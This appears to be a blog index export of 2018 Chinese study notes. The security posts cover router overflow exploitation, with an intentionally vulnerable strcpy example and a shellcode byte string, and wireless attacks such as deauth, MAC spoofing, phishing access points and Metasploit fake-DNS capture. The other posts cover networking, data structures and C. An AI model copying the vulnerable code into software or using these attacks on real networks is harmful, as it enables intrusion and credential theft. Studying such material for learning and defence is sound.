溢出漏洞是一个相当高危而且普遍的漏洞。\n栈溢出\n在计算机科学中，栈是一种先进后出得(FILO)队列的数据结构。调用栈(Call Stack)是值存放在一个正在运行的函数的信息栈。调用栈本身又是由栈帧(Stack Frame)构成，每个栈帧对应一个未完成函数。\n函数的调用过程(栈帧)\n在MIPS架构中，参数传递使用 $a1~$a4 着四个寄存器，（$a0是零值寄存器），所以我们的参数超过5个之后就会使用到了栈，进而进行第五个参数的传递。\nMIPS中的溢出可行性:X86的架构不同， x86的调用过程，是发生函数调用时，把当前的函数地址压入栈中，在函数返回时直接进行弹栈，从而返回原函数的地址空间，但是在MIPS的架构下，函数调用时不会把原函数地址压栈 而是直接存入寄存器 $ra(返回地址寄存器)。下面时书中的溢出可行性分析：\n在MIPS的架构中，有着 叶子函数和非叶子函数 （这里竟然是查无此词，应该是作者自己的词）。\n个人理解讲:叶子函数这个词的叶子可以取于树结构，叶子说明函数体内没有调用其它的函数，也就是没有后继节点。非叶反之.\n非叶子函数的情况:由于**$ra**寄存器只存在一个,所以实际上,如果是非叶子函数了,子函数体内部再次发生 Call 这样的话,会发生,把上一个函数的地址压栈,把调用函数的地址存入 $ra\n所以和经典的溢出思路相同,还是覆盖掉压入栈中的返回地址.\n叶子函数情况:作为叶子函数,其没有后继的函数Call 所以,返回地址是保存在 $ra 中的,所以我们无法通过经典的思路进行覆盖(这个是寄存器了),不过也是存在利用可能,我们使用足够大的数据,覆盖掉上层函数的返回地址.(上层调用了我,上层一定时非叶子对吧)\n缓冲区溢出\n在缓冲区分配,和使用过程中的问题,比如对所缓冲数据没有做检测,导致其对栈内数据发生了覆盖\n一般实现功能:拒绝服务,获得用户级权限,获得系统级权限(提权).\n#include \u0026lt;stdio.h\u0026gt; #define PASSWORD \u0026#34;1234567\u0026#34; int verify_password (char *password) { int authenticated; char buffer[8]; // add local buffto be overflowed authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); // over flowed here! return authenticated; } main() { int valid_flag=0; char password[1024]; while(1) { printf(\u0026#34;please input password: \u0026#34;); scanf(\u0026#34;%s\u0026#34;, password); valid_flag=verify_password(password); if(valid_flag) { printf(\u0026#34;incorrect password!\\n\\n\u0026#34;); } else { printf(\u0026#34;Congratulation! You have passed the verification!\\n\u0026#34;); break; } } } 这里贴上一段简单代码,注释已经标明了溢出点,在;进行Cpy的时候,没有进行长度检测.\n我们知道,局部变量是依次在栈中分配空间的,所以我们分配的8个字节的数组紧邻的就是 int . 这里我们可以实现的是\n图片来自\n通过对 buffer的溢出,从而覆盖 那个int的值 覆盖返回地址(这一点就是无限的空间了)SHELLCODE ShellCode 可以使用覆盖返回地址之后.我们就可以让当前函数返回到我们希望的地方了.\n这个地方,就可以是我们构造的ShelCode.\nchar shellcode[] =\u0026#34;\\x55\\x8b\\xec\\x51\\x51\\x83\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\\x89\u0026#34;\u0026#34;\\xf3\\x8d\\x4e\\x08\\x31\\xd2\\xcd\\x80\\xe8\\xe4\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\u0026#34;\u0026#34;\\x2f\\x73\\x68\\x58\u0026#34;; //...VOID Sub_2(){ ((void(WINAPI*)(void))\u0026amp;ShellCode)();} 这里具体来又是一本书了…\n文件系统提取 固件的提取思路主要是找到一个文件的签名头,这样才可以识别出到底是什么文件,比如我们常用的file\nstrings|grep 全文检索文件系统的 magic 签名头\n. hexdump|grep 检索 magic 签名偏移\n. dd|file 确定migic签名偏移处的文件系统格式 eg: cramfs 的magic的签名是 0x28cd3d45,squashfs 有 sqsh,hsqs…\nstring firmware.bin | grep `python -c \u0026#39;print \u0026#34;\\x28\\xcd\\x3d\\x45\u0026#34;\u0026#39;`string firmware.bin | grep `python -c \u0026#39;print \u0026#34;\\x45\\x3d\\xcd\\x28\u0026#34;\u0026#39;` 这里对整个文件的字符串进行检索找到有没有符合 cramfs 的签名,这里之所以会寻找两次,是为了保证,大端和小端的两种情况.找到特征签名之后,我们就开始定位文件偏移\nhexdump -C firmware.bin | grep -n \u0026#39;hsqs\u0026#39; 这里找到特征字符串的偏移.之后我们可以使用 DD 对文件进行提取\ndd if=firmware.bin bs=1 count=100 skip=1441936 of=squash.bin 这里就是使用dd对文件进行偏移的提取了.\n自动提取大法 BinWalk\n应用 后面的部分针对漏洞的实际应用做了总结,慢慢的学习其中的过程\n后 实际上,关于硬件安全的分析,在这本书里所讲解的大部分是出自软件的二进制安全.其实更渴望一本,是在硬件层级去分析一个设备安全的书.不过这本书,也是巩固了不少相关的知识.\n","date":"2018-04-26T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/04/2018-04-26-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-%E6%8F%AD%E7%A7%98%E5%AE%B6%E7%94%A8%E8%B7%AF%E7%94%B1%E5%99%A80day%E6%8C%96%E6%8E%98%E6%8A%80%E6%9C%AF/","tags":null,"title":"读本好书 《揭秘家用路由器0Day挖掘技术》"},{"categories":null,"contents":"前 这本书其实早都有开始看了，只是时间太过于碎片化了，规格也在 500p，这里只是对书中的内容做极简要的总结。\n简介 书名：黑客大曝光——无线网络安全 作者：Joshua Wright/Johnny Cache ISBN：9787111526292 对目前的无线安全领域的一个很广泛的描述。从 wifi 到 蓝牙，再到其他的安全，像是移动数据 和 Zigbee\nWifi部分 802.11协议安全 这里是Airodump/AirCrack-NG 之类的工具，可能对802.11协议中的漏洞的利用。有 解除认证攻击 (Deauth) ,这里可以使用 CommView 自带的工具既可以实现一次接触认证攻击\n解除认证攻击( Deauth )的原理\n在每个硬件中都有其对应的MAC地址，这个mac的设计本想用来对不同的设备进行区分，结果没有考虑到，含有mac的数据是通过软件发出来的。所以 MAC修改 也是一个利用用的地方\nLINUX: ifconfig wlan0 down ifconfig wlan0 hw ether 00:11:22:33:44:55 ifconfig wlan0 upOSx: airport -z ifconfig en0 ether 00:11:22:33:44:55 无线加密安全 常见的加密方式 WEP(有限对等保密) 和 WAP (Wi-Fi网络安全接入).\nWEP (Wired Equivalent Privacy)\nWPA (Wi-Fi Protected Access)\n前者已经被证明有重大的安全漏洞，已经于本世纪初期停用。对于WEP加密讲，只有有持续的连接，我们可以嗅探到足够的IV(Initial Vector)破解概率是100%。使用工具可是wifite/aircrack-ng， 具体细节网上有大量资源\nAP 和 Client在连接之前是两个并不相关的个体，其中如果需要进行连接，那么必须是需要有个协商密钥的过程。\n在非安全信道进行加密通信，这个很容易使我们相到，非对称加密体系。比如我们极为常用的RSA，不过这里就出现了一个问题，公钥的认知，通俗讲，我怎么知道，你是不是他？ 我们常见的体系中的，会有CA/RA这种角色，进行对证书的验证和颁发。可是在我们的WIFI连接过程中是没办法再介入第三方的。\n所以，综上我们的密钥协商过程是存在被嗅探的风险。\n无线网络密码破解WPA/WPA2教程\n不过。还是不用担心，现在只是过程的漏洞，其加密协议本身，是安全的。目前对其进行破解的方法，只有碰撞，使用 HashCat 类的工具，进行俗称的跑包。\nWifi 环境下的客户端安全 这部分主要是讲解 基于 Metasploit 框架的局域网安全。Browser_autopwn 模块实现了内网的钓鱼。\n其中有一个部分 I_LOVE_MY_NEIGHBORS, 这里描述了在内网构建一个 Phishing 的热点。其主要步骤有：\n创建AP接入点 分配IP地址（路由） 搭建路由 重定向 HTTP 数据流 使用 Squid 软件提供 HTTP 内容服务 具体的配置细节这里不展开描述，上面 Hostapd.conf/dhcpd.conf 的文件存在着前两项的内容。这里的搭建路由是比较point的。\nifconfig wlan0 10.0.0.1 up netmask 255.255.255.0sysctl -w net.ip_forward=1netstat -r # 查看路由表 ​\nHTTP的重定向是通过iptable的配置实现的。Squid是一个实现HTTP代理的工具，使得用户通过我们的ap可以访问到外界的网站。默认的端口是 3128\nphishing AP 的利用 这里可以通过 wpa_supplicant 进行网络的连接。不过如果直接进行连接，存在着一个问题，就是我们的IP分配的记录可能被DHCP服务器所记录。\nfakeDHCP的 利用：DHCP服务器是提供了动态的ip分配的功能，实际是这里存在一个问题。可以通过主动推送的方式，对客户端的 默认路由ip 和 Dns服务器ip 进行指派，当然客户端认为是合法的，所以会进行无条件的接受。\n使用metaspolite里面的\nauxiliary/server/fakedns # 搭建一个假的DNS服务auxiliary/server/capture/http # ARP欺骗。。。等等常见的 MITM(man in the middle)攻击\n蓝牙部分 主要概念有设备发现(device discovery)，跳频(frequency hopping)，微微网(piconet)。传统的在 2.4GHz上面定义了79个信道，每个信道有 1MHz 的带宽。设备的通信过程中是以每秒 1600次的频率在进行跳频。\n3.0是高速蓝牙，4.0是低功耗蓝牙\n在传统蓝牙中，PIN码这个东西不会陌生，在连接过程中会使用PIN码进行配对，称之为个人信息码。可以使用 BTCrack 对PIN码进行离线破解\n对附近蓝牙的设备的扫描分为 主动扫描技术 和 被动扫描技术 。对于主动扫描，蓝牙设备必须是处于可发现状态。\n在蓝牙协议中，并不要求另个通信设备之间进行 寻呼扫描(inquiry scan) 。\n在被动状态下，只是需要获得其设备地址，既可以对其发起连接，可以见到的有我们的NFC连接蓝牙，和二维码连接蓝牙。\n所以这里存在着地址穷举的问题，不过在bluetooth里面，MAC的值也是 48位的，\neg: 00:11:22:33:44:55:66 这样如果进行穷举，是可行的，不过这个量是很大的，可能设备都关闭了我们还是没有发现地址。\n所以一个经典的思路是，如果设备可见，我们可以根据其官方的其他设备，得到MAC段（前5段 40位固定）。对特定的MAC段进行穷举，将会简单的多\n常见蓝牙漏洞 目录递归，构造恶意的文件名 如\n../a.exe 这样文件将会被解析存储到上级目录，这样的方法可能存在目录被遍历的风险。实际上觉得这刚过不该蓝牙背。\nIBeacon(灯塔) 正如名字一样，这刚是蓝牙的灯塔协议，这里不需要进行蓝牙的连接。可以通过特定的ID，进而得到特定的位置信息。\n其他网络 小时候听到的猫的拨号音，实在是怀念。\nModem拨号音\nSDR 这部分，介绍了几个基本的SDR设备的使用，看看频谱之类的。\n常见的 二进制频移键控(BFSK).使用SDR 对其进行嗅探，及波形录制。之后可以有经典的 重放攻击\n当然此部分的前提是 SDR设备 和 GNUradio。、\n如果在谱图上面 只有一个峰，那么可能是 开关键控，两个峰就是 二进制频移键控。对于采集的信号可以使用滤波器对其进行滤除，（升余弦滤波\n器）\n移动网络数据 国内的2G是没有加密的，通过网上教程可以做到短信内容的嗅探，这里不予展开。\n移动基站 MS Moblie Station SIM卡 Subscriber Identity Module 用户识别模块 移动用户临时识别码 TMSI 基站收发信台 BTS Base Transceiver Station 基站控制器 BSC 基站子系统 BSS 移动交换中心 MSC 全球移动通信\n4G长期演进\nZigBee简介 ZigBee 在家具领域和楼宇自动化中，还是有较为坚实的地位。\n一个主要的问题 why ZigBee？因为目前的 wifi,蓝牙，和其他的专有的通信解决方案里面为什么使用zb？这个在物联网的标准桥带之前，可能无法得到一个十分肯定的答案，如下：\nzigBee 的协议栈较之WIFI会简单上许多大小在 120KB 左右，完全可以运行在NVRam里。 其目前协议传输速度在 20~250Kbps 早在1998年就已经提出了ZigBee技术。但是到2004 年才开始使用。\n在ZigBee体系下有以下的多种的设备角色存在于 介质访问控制层：\n信任中心 TC Trust Center 对接入的设备进行认证 协调器 ZC Coordinator 代表其他的设备王朝其信息中继转发 路由器 ZR Router 和协调器功能类似，这个只从硬件上讲 终端设备 ZED End Device 可以接入ZigBee网络，但无法转发其他的信息帧 关于ZigBee的网络结构，存在星形拓扑和 Mesh网格网络，前者的结构简单，后者的结构如下：\nMESH在单词直译上讲是网孔的意思\nZigBee用于标准安全和高安全两种模式，信任中心使用 ACL(Accedd Contrl List)对接入设备进行控制，高安全下，有特点的新人中的角色，对其网络中的加密算法和密钥进行追踪.\nZigbee 攻击 特定硬件,KillerBee工具包,可能的方法有网络发现,重放攻击,数据伪造\nKillerBee Proj\n后 这本书对无线的应用安全做了很好的汇总,十分广泛的层面,也是对自己零散的知识的总结,和部分的深入\n","date":"2018-04-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/04/2018-04-24-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6%E9%BB%91%E5%AE%A2%E5%A4%A7%E6%9B%9D%E5%85%89-%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/","tags":null,"title":"读本好书《黑客大曝光——无线网络安全》"},{"categories":null,"contents":"前 网络方面的问题离不开 TCP/IP这玩意，所以这次做个详尽的总结\n网络 OSI模型 经典的协议栈模型，当属OSI和TCP/IP 这两种。这里的一幅图，很好的展示了这个协议的层次\n图片引用自imyalost\nOSI模型分为7层， TCP/IP协议是4层，其中对应的关系也在途中很好的体现了出来。\n协议栈之所以为栈，因为其工作过程中的自顶而下的逐层封装的特性，这种逐层封装在传输终端也会逐层的解析。所以这种协议模式也成为对等协议，IP(Internet Protocol)\n在我们的TCP/IP的协议栈中。具体的情况如下\n应用层 http请求 http请求传输层 TCP/UDP头(端口) TCP头 http请求网络层 IP头 (IP地址) IP头 TCP头 http请求链路层 MAC头(MAC地址) MAC头 IP头 TCP头 http请求 所以协议栈自上而下是逐层封装的过程，各层也是负责其具体的职能\n具体的层次之间的职能分共也是如下图所显示的。\n图片引用自imyalost\n对上图的内容进行总结的话，实际上在传输层实现了端到端的通信，在网络层是实现了点到点的通信，或者说是主机和主机。到了数据链路层，主要的就是控制我们的数据包流向，这里就有了路由协议。\n路由是存在于网络层，交换机，和中继器处于数据链路层。\n传输层的端到端数据段(segment).网络层是点到点的数据包(packet).数据链路层是网络节点间的通信，数据帧(frame).下面的物理层就是以比特为单位的电平了。\nTCP/UDP TCP面向连接（如打电话要先拨号建立连接）;UDP是无连接的，即发送数据之前不需要建立连接\nTCP提供可靠的服务。也就是说，通过TCP连接传送的数据，无差错，不丢失，不重复，且按序到达;UDP尽最大努力交付，即不保证可靠交付\nTcp通过校验和，重传控制，序号标识，滑动窗口、确认应答实现可靠传输。如丢包时的重发控制，还可以对次序乱掉的分包进行顺序控制。\nUDP具有较好的实时性，工作效率比TCP高，适用于对高速传输和实时性有较高的通信或广播通信。\n每一条TCP连接只能是点到点的;UDP支持一对一，一对多，多对一和多对多的交互通信\nTCP对系统资源要求较多，UDP对系统资源要求较少。\nTCP/IP模型的安全性 Q\u0026amp;A Q: 完全使用TCP的协议是？\nA: 这里需要注意的是 DNS 是同时涉及到TPC和UDP协议的，所以这里容易出错\n","date":"2018-04-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/04/2018-04-05-%E5%89%91%E6%8C%87offer-4/","tags":null,"title":"剑指offer (4)"},{"categories":null,"contents":"前 有幸的划水了第一波腾讯的笔试。虽说整体过程的题目还是算容易，不过实际上还是由不少的困难。这次是自己的一点总结帖。\n离线开锁 声波锁 和 2FA 技术。\n二叉树 (BinTree) 基本结构 定义:\n二叉树在图论中是这样定义的：二叉树是一个连通的无环图，并且每一个顶点的度不大于3 。有根二叉树还要满足根结点的度不大于2。有了根结点之后，每个顶点定义了唯一的父结点，和最多2个子结点。然而，没有足够的信息来区分左结点和右结点。如果不考虑连通性，允许图中有多个连通分量，这样的结构叫做森林。\n二叉树中每个节点都是他的左右字数的前驱，左右子树也是器根节点的后继。\n名词:words\n兄弟 具有同一父节点的节点 祖先/子孙 如果y在x为根节点的子树中且 y \u0026lt;\u0026gt; x 则x 是y的祖先 层数 规定根层数为0，其余结点层数等于其父节点层数加一。 度数 节点的飞控字数个数即为树的度。 树的高度 所有节点中的最大的层数称为二叉树的高度。 树叶/分支 左右子树均为空的结点称为树叶，否则是称为分支节点。 特殊二叉树 满二叉树 如果任意节点都有两棵非空子树或者树叶。 完全二叉树 只有最下面的两侧的节点度数小于2 其他的层各节点的度数等于2 。 性质：\n第i层最多有 2^i个节点 数据存储结构 顺序存储结构\n对应一个二叉树，我们使用语言实现它\n#define Maxsize 100 //假设一维数组最多存放100个元素typedef char Datatype; //假设二叉树元素的数据类型为字符typedef struct{ Datatype bt[Maxsize]; int btnum;}Btseq; 这里的顺序存储结构，实际上是可以看作，是吧二叉树压扁，投影在一个数组里。\n如上图 A是根，B是其左节点，C是其右节点。那么我们在顺序存储中得到的数组的内容是：\nABCD^EFGH^^^I^^ 链式存储结构\n这里是使用链式结构，具体代码如下：\ntypedef char Datatype; //定义二叉树元素的数据类型为字符typedef struct node //定义结点由数据域，左右指针组成{ Datatype data; struct node *lchild,*rchild;}Bitree; 这个结构是见解明了了。一个三个元素，本身的数据。左子树和右子树。\n二叉树的遍历 这个问题算是一个超级基本的问题了，基本上是逃不过的。不过之前的印象深刻滚瓜烂熟。突然遇到还是懵逼一会。所以及时总结，加强记忆。\n通常来说对二叉树的遍历有以下的三种方式。\nNLR：前序遍历(Preorder Traversal 亦称（先序遍历）） （根左右） LNR：中序遍历(Inorder Traversal) （左根右） LRN：后序遍历(Postorder Traversal) （左右根） 这里采用第二种存储方式.如果我们对其孩子节点进行一次访问，那么我们对其指针进行一次指向即可。\nnode lChild = *this-\u0026gt;lchild; 这里采用递归的方法。对整个的二叉树的结构进行遍历，并打印其值\n前序遍历\nvoid preTraversal(node* root){cout \u0026lt;\u0026lt; root-\u0026gt;data; //先进行根操作if(root-\u0026gt;lchild != NULL) // 实际上的遍历的类型在这里是其操作顺序决定的， preTraversal(root-\u0026gt;lchild);if(root-\u0026gt;rchild != NULL) preTraversal(root-\u0026gt;rchild);} 中序遍历\nvoid preTraversal(node* root){if(root-\u0026gt;lchild != NULL) // 实际上的遍历的类型在这里是其操作顺序决定的， preTraversal(root-\u0026gt;lchild);cout \u0026lt;\u0026lt; root-\u0026gt;data; // 当上面的递归开始返回的时候，第一次执行的是我们的左叶子节点 // 当第一次返回后，现在是该节点的父节点，即根节点if(root-\u0026gt;rchild != NULL) // 之后继续查找右节点 preTraversal(root-\u0026gt;rchild); // 这次调用，会打印右节点的值} 后序遍历\nvoid preTraversal(node* root){if(root-\u0026gt;lchild != NULL) // 实际上的遍历的类型在这里是其操作顺序决定的， preTraversal(root-\u0026gt;lchild); if(root-\u0026gt;rchild != NULL) preTraversal(root-\u0026gt;rchild);cout \u0026lt;\u0026lt; root-\u0026gt;data; } 这里递归的思路是一定要清楚，如果我们画出了调用栈，那个更清楚。\nQ\u0026amp;A Q: 某二叉树前序遍历访问顺序是abdgcefh，中序遍历访问顺序是dgbaechf，则后序遍历的结点访问顺序是多少？\nA: 这个是超经典的一类问题了，可能考试都要考它。实际上我们的分析，思路如下：我们要做到的是还原二叉树。从第一个我们可以得到 根节点是 a，中序遍历的话是左根右的顺序，所以我们可以找到在中续遍历中找到a，把其分为agb，和aechf两个子树。\n之后周而复始，bdg也是根左右。cefh也是根左右。之后c取出分e，hf两个子树。\n","date":"2018-04-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/04/2018-04-04-%E5%89%91%E6%8C%87offer-3/","tags":null,"title":"剑指offer (3)"},{"categories":null,"contents":"前 西西弗斯一般的生活，loop，loop，感觉良好，卒\nFor A While 空循环体 for 和 while哪个效率高？自古也是成了圣战的话题。\n这里自己做一个简单分析。\nint main(){ while(1);}int main(){ for(;;);} 两种死循环语句，后者是歪果仁喜欢用的，倒是觉得第一种更贴切。之后使用gcc\ng++ *.c -S [-O1/-O2/-O3] 发现在这种情况下，编译器给出的汇编内容实际上都是一样的，两种循环一样，三种优化也是一样。下面是其汇编代码。\n.file \u0026#34;while.cpp\u0026#34; .def ___main; .scl 2; .type 32; .endef .section .text.startup,\u0026#34;x\u0026#34; .p2align 4,,15 .globl _main .def _main; .scl 2; .type 32; .endef_main:LFB0: .cfi_startproc ; 调用框架指令 pushl %ebp ; 这里把当前域(Caller)的基址压栈 .cfi_def_cfa_offset 8 ; .cfi_offset 5, -8 movl %esp, %ebp ; 把esp值传入ebp .cfi_def_cfa_register 5 andl $-16, %esp ; call ___mainL2: ; 这里是我们的循环部分 jmp L2 .cfi_endprocLFE0: .ident \u0026#34;GCC: (MinGW.org GCC-6.3.0-1) 6.3.0\u0026#34; 可以看到 LFB0 的代码是main的caller部分，主要功能是把当前函数的ebp(基址寄存器)压栈，以便函数返回时数据的恢复。之后把esp传给ebp，就是以当前的栈地址作为main函数(被调用函数的地址)。\nandl $-16, %esp ; 这句本来有点懵，不过实际上看看这个-16是什么就很清楚了，\n-16D = 11110000B 所以实际上这个and 是对esp寄存的一次掩码。掩去esp的第四位。\n不过这里的核心代码统统是下面这句了：\nL2: jmp L2 一个指令，一个操作数。很简洁简单，并看不出差别\n自加 int main(){ int i = 0; /* ++i while循环 */ while (++i \u0026lt; 10); i = 0; /* ++i dowhile循环 */ do; while (++i \u0026lt; 10); /* ++i for循环 */ for (i = 0; i \u0026lt; 10; ++i);} 这里使用自加作为循环体，非空循环体。下面一样是汇编代码。\n.file \u0026#34;add.cpp\u0026#34; .def ___main; .scl 2; .type 32; .endef .text .globl _main .def _main; .scl 2; .type 32; .endef_main:LFB0: .cfi_startproc pushl %ebp .cfi_def_cfa_offset 8 .cfi_offset 5, -8 movl %esp, %ebp .cfi_def_cfa_register 5 andl $-16, %esp subl $16, %esp ; 由于栈是向低地址生长，所以这里开辟栈空间 call ___main movl $0, 12(%esp) ; 这里是间接寻址 esp+0*0+12 实际上是我们局部变量 i 的值的初始化;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; L3: addl $1, 12(%esp) cmpl $9, 12(%esp) setle %al testb %al, %al je L2 jmp L3L2: movl $0, 12(%esp);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;L5: addl $1, 12(%esp) cmpl $9, 12(%esp) setle %al testb %al, %al je L4 jmp L5L4: movl $0, 12(%esp);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;L7: cmpl $9, 12(%esp) jg L6 addl $1, 12(%esp) jmp L7;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;L6: movl $0, %eax ; main返回值是0 leave .cfi_restore 5 .cfi_def_cfa 4, 4 ret .cfi_endprocLFE0: .ident \u0026#34;GCC: (MinGW.org GCC-6.3.0-1) 6.3.0\u0026#34; 很明显这里的循环体所对应的操作已经出现了差异。相比较这三种循环。\nwhile 6 do_while 6 for 4 综上看出了，实际上可能在部分情况下for是有优势的。不过实际上我们对比，在while中实际上多了两条语句\nsetle %altestb %al, %al setle D, D = (SF ^ OF) | ZF, 小于等于(有符号\u0026lt;=)\n这个指令不常见，所以去search之。这个指令是属于访问条件码指令。\n作用: \u0026lt;= 时设定操作数值为1 ，否则为0 //一般与cmp指令组合使用\n所以上述的指令目的，是判断Cmp的结果是不是小于等于，如果是就把al置1。再判断al是否为1。如果是0就跳出，否则说明，还需要继续循环。\n不过实际上，觉得这一步是相当冗余的。不知为何\n","date":"2018-03-31T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-31-%E5%89%91%E6%8C%87offer-2/","tags":null,"title":"剑指offer (2)"},{"categories":null,"contents":"前 Let it known，don’t let it go.\n操场上，看见一个在练习滑板的女孩，不小心摔倒。婉然微笑，撑起身来。是如此的优雅(graceful)。\n一语言，只是一种工具，任何一门编程语音都是。数据结构和算法才是他的灵魂\n标准输入输出 平日里，使用C/C++在Coding时，C中的printf，scanf和C++里面的cout,cin显然我们时十分的熟悉了\nint printf ( const char * format, ... );int scanf ( const char * format, ... );extern istream cin;str \u0026gt;\u0026gt; cin;extern ostream cout;cout \u0026lt;\u0026lt; str; Q\u0026amp;A\nQ:为什么S函数需要\u0026amp;， 而P不需要？\nA:\u0026amp; 在C中时作为单目运算符时，时寻址作用。这里在S写入时需要一个指针指向一个真实的分配的对象空间，用来存储他的相应的数据类型。在P函数中，时写这个C字符串的格式化内容到stdout中。在字符串的响应位置，是用后面的参数直接对内容进行替换，所以不必使用\u0026amp;对其真实的内存空间进行操作。\n事实上，这些输入输出函数，底层进行操作的就是我们的输入输出流。\n执行一个shell命令行时通常会自动打开三个标准文件，即标准输入文件（stdin），通常对应终端的键盘；标准输出文件（stdout）和标准错误输出文件（stderr），这两个文件都对应终端的屏幕。\n所以这里我们可以把输入和输出看作一个文件，使用操作文件的方法，对这些文件指针进行操作。\nFILE * stdin;FILE * stdout;FILE * stderr; 上面是着三个文件值指针的定义，在stdion.h 中\n#include \u0026lt;stdio.h\u0026gt;int main(int argc, char** argv){ int num; fscanf(stdin, \u0026#34;%d\u0026#34;, \u0026amp;num); fprintf(stdout, \u0026#34;%d\\n\u0026#34;,num); getchar(); return 0;} 可以看到，上面的stdin和stdout是直接进行操作的，没有打开的过程。因为在这个控制台程序运行起初，就已经打开了这三个流文件。\n流缓冲 看看这段代码会发生什么？会一秒一次的打印字符串对吧？实际上不然。真正的结果是。在程结束之后，会打印一堆的blah\nint main(int argc, char **argv){ for (int i = 0; i \u0026lt; 10; i++){ printf(\u0026#34;%s\u0026#34;, \u0026#34;balabala\u0026#34;); sleep(1); } return 0;} C++ 程序中把输入输出是看作了字节流。在io过程中，程序只负责检查字节流，而完全不用知道是从哪里来的。\n所以在流处理的过程中，一个重要的过程就是缓冲。当发生一次打印的条件是\n- 缓冲区满- 遇到换行符(EOF)- 程序正常结束 stdout，和stderr 都是输出流，前者存在缓冲，后者是没有缓冲的。\n我们可以用int fflush(FILE *stream);函数进行强制的缓冲区刷新。\ncout \u0026lt;\u0026lt; flush;flush(cout); 或者使用 steambuf 类里面的方法进行。如果直接进行setbuf(stdout,Null)，把他的缓冲区设为0。这样stdout也是成为了无缓冲的流了\nQ\u0026amp;A\nQ:缓冲区的好处？\nA:使用缓冲区是可以更高效的处理输入和输出。缓冲区是作为中介的内存空间。我们可以一撮进行大量的读取或者写入。之后再进行整块的字节操作。这样会比单字节操作快得多。\niostream类库 在C++中，iostream是作为流管理的。在其中有创建4个流对象。\n(实际上可以讲8个，四个是用于窄字节char，四个用于宽字节wchar)。\ncin 标准输入流对象(stdin) wcin\ncout 标准输出流对象(stdout) wcout\ncerr 标准错误流对象(stderr) wcerr 无缓冲\nclog 标准错误流对象。 wclog 缓冲\n流的一端和程序相连，另一端和标准IO相连。\nQ\u0026amp;A\nQ:重定向？\nA:实际上在iostream这个类库里， \u0026lt;\u0026lt;,\u0026gt;\u0026gt;这两个本来是作为移位运算的操作符，被重载。在这个情况下 \u0026laquo; 是应该被成为插入运算符。\n在cout \u0026lt;\u0026lt; \u0026quot;hello\u0026quot;，中，由于我们的运算符重载，可以使之识别C++里面的所有的基本类型。\n运算符重载 除了类属关系运算符”.”、成员指针运算符”.*”、作用域运算符”::”、sizeof运算符和三目运算符”?:”以外，C++中的所有运算符都可以重载。\n这里给出了运算符重载的一般格式。这样通过这个功能，我们可以实现自己的运算操作\n\u0026lt;返回类型说明符\u0026gt; operator \u0026lt;运算符符号\u0026gt;(\u0026lt;参数表\u0026gt;){ \u0026lt;函数体\u0026gt;} 在iostream类库中的 \u0026laquo; 就已经被重载为了插入运算符。而且实现的相当的巧妙。\ncout \u0026lt;\u0026lt; 88;//实际上对应的原型是ostream \u0026amp; operator \u0026lt;\u0026lt; (int); 这样就实现了 \u0026lt;\u0026lt; 对int的重载，使得我们可以输出。从上面的形式分析，其参数是int ，其返回的类型是一个ostream的引用。这个引用。是这个结构极为精妙的存在。\n拼接输出 cout \u0026lt;\u0026lt; \u0026#34;buzz\u0026#34; \u0026lt;\u0026lt; \u0026#34;fuzz\u0026#34; \u0026lt;\u0026lt; endl; 这一段代码，当然十分熟悉，拼接输出。可是具体是怎么实现的呢？？？这里的拼接，就是这个雷克十分精妙的地方\nostream \u0026amp; operator \u0026lt;\u0026lt; (ostream \u0026amp;); 当我们使用这个重载的运算符之后，返回的是一个ostream的引用。这样，我们可以继续使用 \u0026laquo; 运算符，实现一个拼接的输出。\n","date":"2018-03-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-29-%E5%89%91%E6%8C%87offer-1/","tags":null,"title":"剑指offer (1)"},{"categories":null,"contents":"前 现在已经是19年的第9周了，十分的苍白的一周。游手好闲，无所事事。自己在不写点东西，怕是心都要凉了。\n心很乱，自己很难选择一条自己认为坚定的路。一个上午，在校园踱步，各种杂乱的想法在心头反翻滚。数十种声音在耳畔，鸟语，轰鸣，清风。千百种声音在心头，向左，向右，东进，西行。\n很羡慕，那些可以果敢的实现自己想法的人，(或许他们有所思无所思)，大家可能会对他另眼，可是最终，他的目的是证明自己，那些另眼的人，也只有羡慕的机会了对吧？的确。明明很多时候是我们自己无法做到，我们有什么理由，凭着自己的臆断来另眼他人？\n勇敢的改变，是艰难的一步，也将是最光辉的一步。勇敢的改变吧。向前方，向高处。勇敢的跳跃，自由的呐喊。不要被自己心中的所谓的常规二字所扼住喉咙。不要被自己的的最坏的猜想打消念头。勇敢的改变，改变。\n噪声和声音之间的界限是常规。\n常规？就在身边，我们所见见到的万物都是常规。打破常规的是噪音，打破常规的是音乐。\n少年 